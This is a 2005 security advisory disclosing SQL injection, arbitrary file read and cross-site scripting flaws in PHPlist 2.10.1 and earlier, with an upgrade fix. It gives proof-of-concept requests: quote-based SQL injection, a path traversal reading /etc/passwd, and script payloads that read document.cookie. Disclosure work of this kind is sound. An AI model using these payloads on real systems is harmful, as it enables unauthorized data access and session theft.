Topic:	Multiple vulnerabilities in PHPlist
Credit:	Tobias Klein
Date:	2005.11.09
CWE:	N/A
CVE:	CVE-2006-2323 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory: Multiple vulnerabilities in PHPlist
Name: TKADV2005-11-001
Revision: 1.0
Release Date: 2005/11/07
Last Modified: 2005/11/07
Author: Tobias Klein (tk at trapkit.de)
Affected Software: PHPlist (all versions <= 2.10.1)
Risk: Critical ( ) High (x) Medium (x) Low (x)
Vendor URL: http://www.phplist.com/
Vendor Status: Vendor has released an updated version


=========
Overview:
=========

PHPlist is a double opt-in newsletter manager. It is written in
PHP and uses a SQL database for storing the information.

Version 2.10.1 and prior contain multiple Cross Site Scripting
and SQL Injection vulnerabilities. Furthermore it is possible to
access and read arbitrary system files through a vulnerability in
PHPlist.


======================
Vulnerability details:
======================

All vulnerabilites are only exploitable by a legitimate user who is
logged in to PHPlist. So the probability of occurrence of most
threats is rated as medium. The probability of occurrence of the
non-persistent Cross Site Scripting vulnerabilities is even rated
as low.

For a description of the calculation of the resulting threat of a
vulnerability see reference [3].

All vulnerabilities are exploitable, no matter if magic_quotes_gpc
is turned on or off.


[1] SQL Injection

Possible damage: Critical
Probability of occurrence: Medium
Resulting threat: High

HTTP method: GET

Vulnerability description:

PHPlist is prone to a SQL injection vulnerability. This issue is
due to a lack of proper sanitization of user-supplied input before
using it in an SQL query.

Successful exploitation could result in a compromise of the
application, disclosure or modification of data, or may permit an
attacker to exploit vulnerabilities in the underlying database
implementation.

Vulnerable URL:

[path_to_phplist]/lists/admin/?page=admin&id=

Proof of Concept:

[path_to_phplist]/lists/admin/?page=admin&id=1'


[2] SQL Injection

Possible damage: Critical
Probability of occurrence: Medium
Resulting threat: High

HTTP method: GET

Vulnerability description:

PHPlist is prone to a SQL injection vulnerability. This issue is
due to a lack of proper sanitization of user-supplied input before
using it in an SQL query.

Successful exploitation could result in a compromise of the
application, disclosure or modification of data, or may permit an
attacker to exploit vulnerabilities in the underlying database
implementation.

Vulnerable URL:

[path_to_phplist]/lists/admin/?page=editattributes&id=

Proof of Concept:

[path_to_phplist]/lists/admin/?page=editattributes&id=1'


[3] SQL Injection

Possible damage: Critical
Probability of occurrence: Medium
Resulting threat: High

HTTP method: POST

Vulnerability description:

PHPlist is prone to a SQL injection vulnerability. This issue is
due to a lack of proper sanitization of user-supplied input before
using it in an SQL query.

Successful exploitation could result in a compromise of the
application, disclosure or modification of data, or may permit an
attacker to exploit vulnerabilities in the underlying database
implementation.

Vulnerable URL:

[path_to_phplist]/lists/admin/?page=admin&id=1

Vulnerable POST parameter: id=

Proof of Concept (POST request):

POST [path_to_phplist]/lists/admin/?page=admin&id=1 HTTP/1.1

[...]

id=1'&loginname=admin&email=&password=phplist&superuser=1&
disabled=0&change=Save+Changes


[4] Read arbitrary system files

Possible damage: Critical
Probability of occurrence: Medium
Resulting threat: High

HTTP method: POST

Vulnerability description:

PHPlist is prone to a vulnerability that permits read access to
arbitrary files.

Successful exploitation of this vulnerability will grant the
attacker read access to arbitrary files on the system in the
security context of the webserver process.

Details:

(a) Configure attributes

Go to the following URL:

[path_to_phplist]/lists/admin/?page=attributes

Now load data from predefined defaults (see following URL).

[path_to_phplist]/lists/admin/?page=defaults

(b) Add predefined value

For example: "Provinces in Canada"

(c) Manipulate POST request

Vulnerable POST parameter: selected%5B%5D=
Original value : selected%5B%5D=can-provinces.txt

Manipulated value:

selected%5B%5D=/../../../../../../../etc/passwd

POST request:

POST [path_to_phplist]/lists/admin/?page=defaults HTTP/1.1

[...]

selected%5B%5D=/../../../../../../../etc/passwd

(d) Check

Go to the user management:

[path_to_phplist]/lists/admin/?page=usermgt

Choose the "Control values for" link:

[path_to_phplist]/lists/admin/?page=editattributes&id=1

You should see the contents of the local password file.


[5] Cross Site Scripting

Possible damage: High
Probability of occurrence: Medium
Resulting threat: Medium

HTTP method: POST

Vulnerability description:

The "listname" parameter is prone to cross-site scripting attacks.
This could permit an attacker to embed a malicious link into the
context of the web application that includes hostile client-side
script code or HTML. If the appropriate site within the application
is visited, the attacker-supplied code is rendered in the browser
of the user who visits the site. No further user interaction is
needed.

URL with vulnerable POST request:

[path_to_phplist]/lists/admin/?page=editlist

Details:

(a) Manipulate POST request

Vulnerable POST parameter: listname=
Original value : listname=

Manipulated value:

listname="><script>alert(document.cookie)</script>

POST request:

POST [path_to_phplist]/lists/admin/?page=editlist HTTP/1.1

[...]

id=0&listname="><script>alert(document.cookie)</script>
&listorder=&owner=1&description=&save=Save

(b) Check

The malicious code gets executed when a user visits the following
URL:

[path_to_phplist]/lists/admin/?page=list


[6] Cross Site Scripting

Possible damage: High
Probability of occurrence: Medium
Resulting threat: Medium

HTTP method: POST

Vulnerability description:

The "title" parameter is prone to cross-site scripting attacks.
This could permit an attacker to embed a malicious link into the
context of the web application that includes hostile client-side
script code or HTML. If the appropriate site within the application
is visited, the attacker-supplied code is rendered in the browser
of the user who visits the site. No further user interaction is
needed.

URL with vulnerable POST Request:

[path_to_phplist]/lists/admin/?page=spageedit

Details:

(a) Manipulate POST request

Vulnerable POST parameter: title=
Original value : title=

Manipulated value:

title=><script>alert(document.cookie)</script>

POST request:

POST [path_to_phplist]/lists/admin/?page=spageedit HTTP/1.1

[...]

id=3&title="><script>alert(document.cookie)</script>&[...]

(b) Check

The malicious code gets executed when a user visits the following
URL:

[path_to_phplist]/lists/admin/?page=spage


[7] Cross Site Scripting

Possible damage: High
Probability of occurrence: Medium
Resulting threat: Medium

HTTP method: POST

Vulnerability description:

The "title" form-data is prone to cross-site scripting attacks.
This could permit an attacker to embed a malicious link into the
context of the web application that includes hostile client-side
script code or HTML. If the appropriate site within the application
is visited, the attacker-supplied code is rendered in the browser
of the user who visits the site. No further user interaction is
needed.

URL with vulnerable POST Request:

[path_to_phplist]/lists/admin/?page=template

Details:

(a) Manipulate POST request

Vulnerable POST parameter: form-data; name="title"

Manipulated value:

form-data; name="title"

"><script>alert(document.cookie)</script>

POST request:

POST [path_to_phplist]/lists/admin/?page=template HTTP/1.1

[...]

-----------------------------1474118359509
Content-Disposition: form-data; name="id"

0
-----------------------------1474118359509
Content-Disposition: form-data; name="title"

"><script>alert(document.cookie)</script>
-----------------------------1474118359509
Content-Disposition: form-data; name="file_template";
filename=""
Content-Type: application/octet-stream


-----------------------------1474118359509
Content-Disposition: form-data; name="content"

[CONTENT]
-----------------------------1474118359509
Content-Disposition: form-data; name="save"

Save Changes
-----------------------------1474118359509--

(b) Check

The malicious code gets executed when a user visits the following
URL:

[path_to_phplist]/lists/admin/?page=templates


[8] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=eventlog&s=0&filter=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=eventlog&s=0&filter="><script>
alert(document.cookie)</script>


[9] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=eventlog&start=&delete=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=eventlog&start=&delete=">
<script>alert(document.cookie)</script>


[10] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=eventlog&start=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=eventlog&start="><script>alert
(document.cookie)</script>


[11] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=configure&id=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=configure&id="><script>alert
(document.cookie)</script>


[12] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=users&find=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=users&find="><script>alert
(document.cookie)</script>


[13] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=admin&start=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=admin&start="><script>alert
(document.cookie)</script>


[14] Cross Site Scripting

Possible damage: Medium
Probability of occurrence: Low
Resulting threat: Low

HTTP method: GET

Vulnerability description:

The "?page=fckphplist&action=" parameter is prone to cross-site
scripting attacks. This could permit remote attackers to create a
malicious link to a vulnerable PHP script that includes hostile
client-side script code or HTML. If this link is visited, the
attacker-supplied code may be rendered in the browser of the user
who visit the malicious link.

Proof of Concept:

[path_to_phplist]/lists/admin/?page=fckphplist&action="><script>
alert(document.cookie)</script>


=========
Solution:
=========

Upgrade to PHPlist 2.10.2 or newer.

http://www.phplist.com/files/


========
History:
========

2005/11/02 - Vendor notified
2005/11/02 - Vendor response
2005/11/07 - Release of new PHPlist version
2005/11/07 - Public release


========
Credits:
========

Vulnerabilities found and advisory written by Tobias Klein.


===========
References:
===========

[1] http://tincan.co.uk/?lid=1632
[2] http://www.trapkit.de/advisories/TKADV2005-11-001.txt
[3] http://www.trapkit.de/advisories/TKADVcortav.txt


========
Changes:
========

Revision 0.1 - Initial draft release to the vendor
Revision 1.0 - Public release


===========
Disclaimer:
===========

The information within this advisory may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are no warranties, implied or express, with regard
to this information. In no event shall the author be liable for any
direct or indirect damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this
information is at the user's own risk.
The copyright for any material created by the author is reserved. Any
duplication of codes or texts provided here in electronic or printed
publications is not permitted without the author's agreement.


==================
PGP Signature Key:
==================

http://www.trapkit.de/advisories/tk-advisories-signature-key.asc


Copyright 2005 Tobias Klein. All rights reserved.


-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1

iQA/AwUBQ2+pdpF8YHACG4RBEQLtgwCgr/c/Vf73SpIWq+yeChp9r15oHi0AnRJS
OYPcgyVchLXfFZE912nenHcE
=MG/M
-----END PGP SIGNATURE-----